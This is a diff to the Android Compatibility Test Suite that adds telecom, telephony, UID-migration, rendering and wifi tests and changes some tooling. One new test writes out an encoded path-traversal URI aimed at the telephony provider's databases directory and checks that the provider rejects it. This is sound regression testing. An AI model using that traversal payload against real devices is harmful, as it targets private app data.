diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index c890889..60b03b7 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -16,8 +16,18 @@
package android.telecom.cts;
+import static android.media.AudioManager.MODE_IN_CALL;
+import static android.media.AudioManager.MODE_IN_COMMUNICATION;
+import static android.telecom.cts.TestUtils.SELF_MANAGED_ACCOUNT_LABEL;
+import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+import static org.junit.Assert.assertNotEquals;
+
import android.content.Context;
import android.database.Cursor;
+import android.graphics.Color;
import android.media.AudioManager;
import android.net.Uri;
import android.provider.CallLog;
@@ -35,14 +45,6 @@
import java.util.concurrent.CountDownLatch;
import java.util.function.Predicate;
-import static android.media.AudioManager.MODE_IN_COMMUNICATION;
-import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
-import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_4;
-import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
-import static android.telecom.cts.TestUtils.waitOnAllHandlers;
-
-import static org.junit.Assert.assertNotEquals;
-
/**
* CTS tests for the self-managed {@link android.telecom.ConnectionService} APIs.
* For more information about these APIs, see {@link android.telecom}, and
@@ -123,6 +125,33 @@
TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_3);
}
+ public void testSelfManagedConnectionServiceRegistrationUnmodifiable() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ verifyAccountRegistration(TestUtils.TEST_SELF_MANAGED_HANDLE_1,
+ TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1);
+ PhoneAccount newPhoneAccount = PhoneAccount.builder(
+ TEST_SELF_MANAGED_HANDLE_1, SELF_MANAGED_ACCOUNT_LABEL)
+ .setAddress(Uri.parse("sip:test@test.com"))
+ .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+ .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER
+ | PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING
+ | PhoneAccount.CAPABILITY_VIDEO_CALLING)
+ .setHighlightColor(Color.BLUE)
+ .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+ .build();
+ try {
+ mTelecomManager.registerPhoneAccount(newPhoneAccount);
+ fail("Self-managed phone account can be replaced to a call provider phone account!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
private void verifyAccountRegistration(PhoneAccountHandle handle, PhoneAccount phoneAccount) {
// The phone account is registered in the setup method.
assertPhoneAccountRegistered(handle);
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 2560b94..c79c10e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -81,6 +81,8 @@
public static final String ACCOUNT_ID_SIM = "sim_acct";
public static final String ACCOUNT_ID_EMERGENCY = "xtstest_CALL_PROVIDER_EMERGENCY";
public static final String EXTRA_PHONE_NUMBER = "android.telecom.cts.extra.PHONE_NUMBER";
+ public static final ComponentName TELECOM_CTS_COMPONENT_NAME = new ComponentName(
+ TestUtils.PACKAGE, TestUtils.COMPONENT);
public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_1);
public static final PhoneAccountHandle TEST_SIM_PHONE_ACCOUNT_HANDLE =
@@ -138,6 +140,24 @@
.addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
.build();
+ public static final PhoneAccount TEST_PHONE_ACCOUNT_THAT_HANDLES_CONTENT_SCHEME =
+ PhoneAccount.builder(
+ TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+ .setAddress(Uri.parse("tel:555-TEST"))
+ .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
+ .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+ PhoneAccount.CAPABILITY_VIDEO_CALLING |
+ PhoneAccount.CAPABILITY_RTT |
+ PhoneAccount.CAPABILITY_CONNECTION_MANAGER |
+ PhoneAccount.CAPABILITY_PLACE_EMERGENCY_CALLS |
+ PhoneAccount.CAPABILITY_ADHOC_CONFERENCE_CALLING)
+ .setHighlightColor(Color.RED)
+ .setShortDescription(ACCOUNT_LABEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+ .addSupportedUriScheme("content")
+ .build();
+
public static final PhoneAccount TEST_SIM_PHONE_ACCOUNT = PhoneAccount.builder(
TEST_SIM_PHONE_ACCOUNT_HANDLE, SIM_ACCOUNT_LABEL)
.setAddress(Uri.parse("tel:555-TEST"))
@@ -304,6 +324,8 @@
private static final String COMMAND_ENABLE = "telecom set-phone-account-enabled ";
+ private static final String COMMAND_DISABLE = "telecom set-phone-account-disabled ";
+
private static final String COMMAND_SET_ACCT_SUGGESTION =
"telecom set-phone-acct-suggestion-component ";
@@ -385,6 +407,15 @@
+ handle.getId() + " " + currentUserSerial);
}
+ public static void disablePhoneAccount(Instrumentation instrumentation,
+ PhoneAccountHandle handle) throws Exception {
+ final ComponentName component = handle.getComponentName();
+ final long currentUserSerial = getCurrentUserSerialNumber(instrumentation);
+ executeShellCommand(instrumentation, COMMAND_DISABLE
+ + component.getPackageName() + "/" + component.getClassName() + " "
+ + handle.getId() + " " + currentUserSerial);
+ }
+
public static void registerSimPhoneAccount(Instrumentation instrumentation,
PhoneAccountHandle handle, String label, String address) throws Exception {
final ComponentName component = handle.getComponentName();
@@ -843,5 +874,7 @@
return UUID.nameUUIDFromBytes(array);
}
-
+ public static PhoneAccountHandle makePhoneAccountHandle(String id) {
+ return new PhoneAccountHandle(TELECOM_CTS_COMPONENT_NAME, id);
+ }
}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
index eb8b61e..087bfc5 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -31,6 +31,8 @@
import android.provider.Telephony;
import android.telephony.cts.util.DefaultSmsAppHelper;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
@@ -130,6 +132,20 @@
}
+ /**
+ * Verifies uri path outside the directory of mms parts is not allowed.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsProvider#update")
+ public void testMmsPartUpdate_invalidUri() {
+ ContentValues cv = new ContentValues();
+ Uri uri = Uri.parse("content://mms/resetFilePerm/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.."
+ + "%2F..%2F..%2F..%2F..%2Fdata%2Fuser_de%2F0%2Fcom.android.providers.telephony"
+ + "%2Fdatabases");
+ int cursorUpdate = mContentResolver.update(uri, cv, null, null);
+ assertThat(cursorUpdate).isEqualTo(0);
+ }
+
@Test
public void testMmsPartDelete_canDeleteById() {
Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
diff --git a/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt b/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt
index 1f7af46..94fc698 100644
--- a/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt
+++ b/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt
@@ -87,6 +87,11 @@
assertTrue(pkgs.sameAs(Const.INSTALL_TEST_PKG2))
pkgInfo = mPm.getPackageInfo(Const.INSTALL_TEST_PKG, FLAG_ZERO)
assertNull(pkgInfo.sharedUserId)
+ // Upgrading an APK with sharedUserMaxSdkVersion set should not change its UID.
+ assertTrue(installPackage(InstallTest.APK4))
+ val newPkgInfo = mPm.getPackageInfo(Const.INSTALL_TEST_PKG, FLAG_ZERO)
+ assertNull(newPkgInfo.sharedUserId)
+ assertEquals(pkgInfo.applicationInfo.uid, newPkgInfo.applicationInfo.uid)
}
private fun testBestEffort(uid: Int) {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
index 7d73da9..f00f0b1 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
@@ -125,6 +125,8 @@
canvas.drawColor(Color.WHITE);
p.setColor(Color.BLACK);
p.setAntiAlias(false);
+ // ensure the lines do not hit pixel edges
+ canvas.translate(0.05f, 0.05f);
float[] pts = {
0, 0, 80, 80, 80, 0, 0, 80, 40, 50, 60, 50
};
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
index 47dce91..1063fc4 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -200,19 +200,13 @@
@After
public void tearDown() throws Exception {
- if (!WifiFeature.isWifiSupported(mContext)) {
- return;
- }
-
// Re-enable networks.
ShellIdentityUtils.invokeWithShellPermissions(
() -> {
- for (WifiConfiguration savedNetwork :
- mWifiManager.getConfiguredNetworks()) {
+ for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
mWifiManager.enableNetwork(savedNetwork.networkId, false);
}
});
-
// Release the requests after the test.
if (mNetworkCallback != null) {
mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
@@ -220,7 +214,6 @@
if (mNrNetworkCallback != null) {
mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
}
-
// Clear any existing app state after each test.
ShellIdentityUtils.invokeWithShellPermissions(
() -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
@@ -319,4 +312,4 @@
// Ensure that there is only 1 wifi connection available for apps.
assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
}
-}
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index eac7a23..095ff21 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2731,11 +2731,6 @@
*/
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTetheredBridgedAp() throws Exception {
- if (!WifiFeature.isWifiSupported(getContext())) {
- // skip the test if WiFi is not supported
- return;
- }
-
// check that softap bridged mode is supported by the device
if (!mWifiManager.isBridgedApConcurrencySupported()) {
return;
@@ -2800,11 +2795,6 @@
*/
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTetheredBridgedApWifiForcedChannel() throws Exception {
- if (!WifiFeature.isWifiSupported(getContext())) {
- // skip the test if WiFi is not supported
- return;
- }
-
// check that softap bridged mode is supported by the device
if (!mWifiManager.isBridgedApConcurrencySupported()) {
return;
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 600ec31..41cc640 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -639,6 +639,8 @@
builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
RangingRequest request = builder.build();
+
+
// Perform the request
rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM);
}
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
index d27cf19..9577d3a 100644
--- a/tools/cts-tradefed/OWNERS
+++ b/tools/cts-tradefed/OWNERS
@@ -3,11 +3,6 @@
normancheung@google.com
jdesprez@google.com
-# Android Partner Eng Approvers
-aaronholden@google.com
-yuji@google.com
-nickrose@google.com
-
# File Specific Approvers
per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS
per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 0c40259..3929235 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -41,9 +41,9 @@
checkPath java
# check java version
-JAVA_VERSION=$(java -version 2>&1 | grep -m 1 'version [ "]\(1\.8\|9\|11\).*[ "]')
+JAVA_VERSION=$(java -version 2>&1 | grep -m 1 'version [ "]\(1\.8\|9\|11\|17\).*[ "]')
if [ "${JAVA_VERSION}" == "" ]; then
- echo "Wrong java version. 1.8, 9, or 11 is required."
+ echo "Wrong java version. 1.8, 9, 11 or 17 is required."
exit
fi
diff --git a/tools/vm-tests-tf/Android.bp b/tools/vm-tests-tf/Android.bp
index 97c17196..592c048 100644
--- a/tools/vm-tests-tf/Android.bp
+++ b/tools/vm-tests-tf/Android.bp
@@ -172,6 +172,9 @@
static_libs: [
"vm-tests-tf-lib"
],
+ libs: [
+ "compatibility-host-vm-targetprep",
+ ],
test_config: "AndroidTest.xml",
test_suites: [
"cts",